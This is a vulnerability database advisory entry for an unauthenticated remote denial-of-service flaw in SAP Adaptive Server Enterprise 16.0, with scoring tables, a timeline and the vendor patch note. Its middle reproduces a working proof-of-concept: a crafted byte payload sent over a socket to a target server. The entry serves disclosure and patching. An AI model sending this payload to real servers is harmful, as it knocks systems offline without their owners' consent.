CVSS Meta Temp Score | Current Exploit Price (≈) | CTI Interest Score |
---|---|---|
4.6 | $0-$5k | 0.00 |
A vulnerability was found in SAP Adaptive Server Enterprise 16.0 SP01/16.0 SP02 and classified as problematic. Affected by this issue is an unknown function. The manipulation with an unknown input leads to a denial of service vulnerability. Using CWE to declare the problem leads to CWE-404. The product does not release or incorrectly releases a resource before it is made available for re-use. Impacted is availability.
The weakness was disclosed 07/12/2016 by Vahagn Vardanyan as Security Note 2330839 as not defined mailinglist post (Full-Disclosure). The advisory is available at seclists.org. The exploitation is known to be easy. The attack may be launched remotely. No form of authentication is required for exploitation. Technical details are unknown but a public exploit is available.
A public exploit has been developed by Vahagn Vardanyan and been published 4 months after the advisory. The exploit is available at seclists.org. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 162 days. During that time the estimated underground price was around $5k-$25k. The code used by the exploit is:
PoC = "\xe2\xf3\x00\x9d\x80\x8e\xf3\xa0" \ "\x80\xb4\x00\x81\xb0\x00\x00\x93" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x31\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x34\x31\x30\x35\x37\x32" \ "\x37\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00" s = socket.socket() s.settimeout(1) s.connect((SERVER_IP, SERVER_PORT)) s.send(PoC) print(PoC) s.close()
Applying the patch Security Note 2330839 is able to eliminate this problem.
erpscan.com is providing further details.
Product
Vendor
Name
Version
License
CPE 2.3
CPE 2.2
CVSSv4
VulDB CVSS-B Score: 🔍VulDB CVSS-BT Score: 🔍
VulDB Vector: 🔍
VulDB Reliability: 🔍
CVSSv3
VulDB Meta Base Score: 5.3VulDB Meta Temp Score: 4.6
VulDB Base Score: 5.3
VulDB Temp Score: 4.6
VulDB Vector: 🔍
VulDB Reliability: 🔍
CVSSv2
AV | AC | Au | C | I | A |
---|---|---|---|---|---|
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
Vector | Complexity | Authentication | Confidentiality | Integrity | Availability |
---|---|---|---|---|---|
unlock | unlock | unlock | unlock | unlock | unlock |
unlock | unlock | unlock | unlock | unlock | unlock |
unlock | unlock | unlock | unlock | unlock | unlock |
VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍
Exploiting
Class: Denial of serviceCWE: CWE-404
ATT&CK: T1499
Local: No
Remote: Yes
Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: Vahagn Vardanyan
Download: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍
0-Day | unlock | unlock | unlock | unlock |
---|---|---|---|---|
Today | unlock | unlock | unlock | unlock |
Threat Intelligence
Interest: 🔍Active Actors: 🔍
Active APT Groups: 🔍
Countermeasures
Recommended: PatchStatus: 🔍
0-Day Time: 🔍
Exploit Delay Time: 🔍
Patch: Security Note 2330839
Timeline
02/01/2016 🔍02/02/2016 🔍
07/12/2016 🔍
10/17/2016 🔍
10/20/2016 🔍
05/14/2019 🔍
Sources
Vendor: sap.comAdvisory: Security Note 2330839
Researcher: Vahagn Vardanyan
Status: Not defined
scip Labs: https://www.scip.ch/en/?labs.20150716
Misc.: 🔍
Entry
Created: 10/20/2016 13:07Updated: 05/14/2019 09:59
Changes: 10/20/2016 13:07 (50), 05/14/2019 09:59 (1)
Complete: 🔍
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